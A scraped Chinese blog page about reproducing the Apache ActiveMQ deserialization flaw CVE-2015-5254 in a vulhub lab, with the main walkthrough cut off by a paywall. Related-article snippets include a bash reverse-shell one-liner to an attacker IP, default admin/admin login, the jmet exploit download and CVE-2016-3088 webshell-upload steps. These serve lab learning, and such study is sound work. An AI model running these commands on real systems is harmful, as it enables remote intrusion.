ActiveMQ CVE-2015-5254复现

最新推荐文章于 2024-05-18 11:30:07 发布
最新推荐文章于 2024-05-18 11:30:07 发布
阅读量165 收藏
点赞数
分类专栏： vulhub
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44700119/article/details/109771480
版权

复现过程

启动环境
docker-compose up -d
在这里插入图片描述

查看容器
docker ps
在这里插入图片描述
打开浏览器访问本机IP端口192.168.109.128:8161，页面正常，搭建成功
在这里插入图片描述
访问http://192.168.109.128:8161/admin/，以admin/admin登录，进入管理界面
在这里插入图片描述
漏洞利用：
下载jmet的jar文件
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
在这里插入图片描述

同目录下创建一个e

最低0.47元/天 解锁文章
YanY'sH
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
提取流量包中的文件_复现：Apache ActiveMQ反序列化漏洞(CVE20155254)和任意文件写入漏洞（CVE20163088）...
weixin_28736145的博客
12-29 245
Apache ActiveMQ是Apache软件基金会的一个开源项目，是一个基于消息的通信中间件。ActiveMQ是JMS的一个具体实现，JMS(Java Message Service)是一个基于消息的中间件服务，它是java的一个接口规范，而不是一个具体的软件或者库。它支持两种消息传送模型，点对点模型(Point to Point Model)和发布/订阅模型(Publisher/S...
ActiveMQ 反序列化漏洞（CVE-2015-5254）利用工具
08-15
在2015年，ActiveMQ被发现存在一个严重的安全漏洞，被称为CVE-2015-5254，这是一个反序列化漏洞，允许攻击者通过精心构造的恶意消息来执行任意代码，从而对目标系统造成重大威胁。 反序列化漏洞通常发生在对象从...
ActiveMQ 反序列化漏洞复现（CVE-2015-5254）
浮生一世暖流年的博客
12-18 268
环境搭建 使用vulhub搭建环境，docker-compose up -d 环境搭建以后，开始监听8161和61616两个端口，其中8161是web管理端的端口，61616是工作端口。 复现过程 构造（可以使用ysoserial）可执行命令的序列化对象 作为一个消息，发送给目标61616端口 访问web管理页面，读取消息，触发漏洞 生成序列化对象 使用jmt生成，在同目录下创建一个external文件夹，不然可能报文件不存在错误。 java -jar jmet-0.1.0-all.jar
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)
weixin_43071873的博客
11-25 292
记录这次一点都不顺利的漏洞复现，两个漏洞都没能反弹shell，getshell，记录复现过程，或许对各位有一丢丢得作用，过程可能比较粗糙，还请各位见谅 ActiveMQ 反序列化漏洞（CVE-2015-5254） 漏洞简介： Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。 影响版本： Apache ActiveMQ 5.13.0
ActiveMQ(CVE-2016-3088)复现学习笔记
hklearner的博客
03-28 608
ActiveMQ复现学习笔记 (CVE-2016-3088) 漏洞描述 影响版本：Apache ActiveMQ 5.x~5.14.0 漏洞产生原因：ActiveMQ的web控制台分三个应用，admin、api和fileserver，其中admin是管理员页面，api是接口，fileserver是储存文件的接口；admin和api都需要登录后才能使用，fileserver无需登录。本漏洞出现在fileserver应用中，漏洞原理其实非常简单，就是fileserver支持写入文件（但不解析jsp），同时支持
Apache ActiveMQ序列化漏洞复现(CVE-2015-5254)
DaWan
09-19 192
这里写自定义目录标题1.环境搭建1.1 下载vulhub1.1 启动环境2.漏洞复现2.1 下载EXP2.2 执行命令 1.环境搭建 1.1 下载vulhub wget https://github.com/vulhub/vulhub 1.1 启动环境 cd /vulhub/activemq/CVE-2015-5254 docker-compose up -d 查看本机IP地址： 截止到此处，环境搭建完成。 2.漏洞复现 2.1 下载EXP 下载地址：https://gi
ActiveMQ反序列化漏洞（CVE-2015-5254） 漏洞利用工具
11-25
ActiveMQ反序列化漏洞（CVE-2015-5254）漏洞利用工具，说明文档已存在请进行查看
activemq-cpp-library-3.9.5-src.zip
06-10
《ActiveMQ-CPP库3.9.5源代码解析与应用》 ActiveMQ-CPP库是Apache ActiveMQ项目的一部分，它提供了一套C++接口，用于与ActiveMQ消息代理进行通信。这个库允许开发者在C++应用程序中实现高级消息队列协议（AMQP）和...
ActiveMQ---知识点整理
02-25
本文来自于csdn，文章通过介绍ActiveMQ的安装，使用，搭建等等，简单整理了ActiveMQ。不同系统之间的信息交换，是我们开发中比较常见的场景，比如系统A要把数据发送给系统B，这个问题我们应该如何去处理？1999年，...
Apache ActiveMQ 远程代码执行漏洞复现（CNVD-2023-69477）
huangyongkang666的博客
10-31 6205
上周爆出来的activeMQ远程代码执行漏洞，正好做一下漏洞复现，记录一下。
vulhub漏洞复现学习之activemq
m0_60720031的博客
03-07 859
ActiveMQ是一个开源的消息代理和集成模式服务器，它支持(JMS) API。它是Apache Software Foundation下的一个项目，用于实现消息中间件，帮助不同的应用程序或系统之间进行通信，WEB管理页面默认端口为8161。
activemq原理_ActiveMQ反序列化漏洞（CVE20155254）复现
weixin_39785524的博客
11-27 264
漏洞详情漏洞说明#Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。Apache　ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类漏洞危害#远程攻击者可借助特制的序列化的Java MessageService(JMS)Ob...
ActiveMQ反序列化漏洞（CVE-2015-5254）
nz9611的博客
07-16 1703
目标：192.168.199.120:8161 漏洞：ActiveMQ反序列化漏洞（CVE-2015-5254） 攻击原理：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。 攻击步骤： 1.构造可...
ActiveMQ 反序列化漏洞（CVE-2015-5254）
黑白的博客
12-21 1317
声明 好好学习，天天向上 漏洞描述 Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 CVE-2017-7504漏洞与CVE-2015-7501的漏洞如出一辙，只是利用的路径稍微出现了变化，CVE-201
漏洞payload 靶机_漏洞复现:ActiveMQ反序列化漏洞(CVE20155254)
weixin_39795971的博客
12-28 262
文章说明漏洞复现是为了学习漏洞利用所写，漏洞都是互联网上以流传已久的各种漏洞的利用及原理，用来增强自己见识，培养自己动手能力，有兴趣的朋友可自行搭建环境练习。源码下载连接在文章最后。漏洞说明Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5....
ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现实验报告
weixin_48400575的博客
01-20 2692
ActiveMQ 反序列化漏洞 (CVE-2015-5254)复现实验报告
CVE-2015-5254复现学习
最新发布
shierbai的博客
05-18 474
使用[jmet](https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar)进行漏洞利用。影响版本：Apache ActiveMQ 5.13.0之前5.x版本，https://www.cvedetails.com/cve/CVE-2015-5254/实际环境下，需要诱导管理员点击我们构造的url去做访问，触发反弹条件。bash -i>/dev/tcp/攻击机ip/1234（监听端口） 0>&1。
Apache activeMQ漏洞复现
Shanfenglan's blog
12-14 3215
文章目录1. ActiveMQ 反序列化漏洞（CVE-2015-5254）2. ActiveMQ任意文件写入漏洞（CVE-2016-3088）2.1 利用参考文章 1. ActiveMQ 反序列化漏洞（CVE-2015-5254） Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。 工具下载地址：http
CVE-2016-3088复现
07-28
CVE-2016-3088是一个存在于fileserver应用中的漏洞，其原理是fileserver支持写入文件但不解析jsp，同时支持MOVE请求移动文件，通过写入一个文件，然后利用移动请求移动到任意位置，导致任意文件写入漏洞。\[1\] 要复现该漏洞，可以按照以下步骤进行操作： 1. 首先，需要将shell文件移动到具有解析权限的目录中。可以使用MOVE方式将shell移动到/opt/activemq/webapps/api/目录中，如果返回包返回204，则表示移动成功。\[2\] 2. 漏洞环境需要使用centos、docker、docker-compose、vulhub。启动服务后，可以使用命令docker ps来查看服务端口。\[3\] 3. 写入webshell需要将其写入admin或api应用中，而这两个应用都需要登录才能访问。 4. 首先访问http://服务器ip:8161/admin/test/systemProperties.jsp，查看ActiveMQ的绝对路径。 5. 进入http://服务器ip:8161/fileserver，进行抓包。 6. 将GET请求修改为PUT，并在目录后加入想要上传的数据包。如果回显为204，则表示上传成功。 以上是复现CVE-2016-3088漏洞的步骤。请注意，这个漏洞已经被修复，建议及时更新相关软件以避免安全风险。 #### 引用[.reference_title] - *1* *3* [CVE-2016-3088 ActiveMQ漏洞复现](https://blog.csdn.net/zwj101010101010/article/details/126018390)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [ActiveMQ任意文件写入漏洞（CVE-2016-3088）复现](https://blog.csdn.net/weixin_38160576/article/details/121494757)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值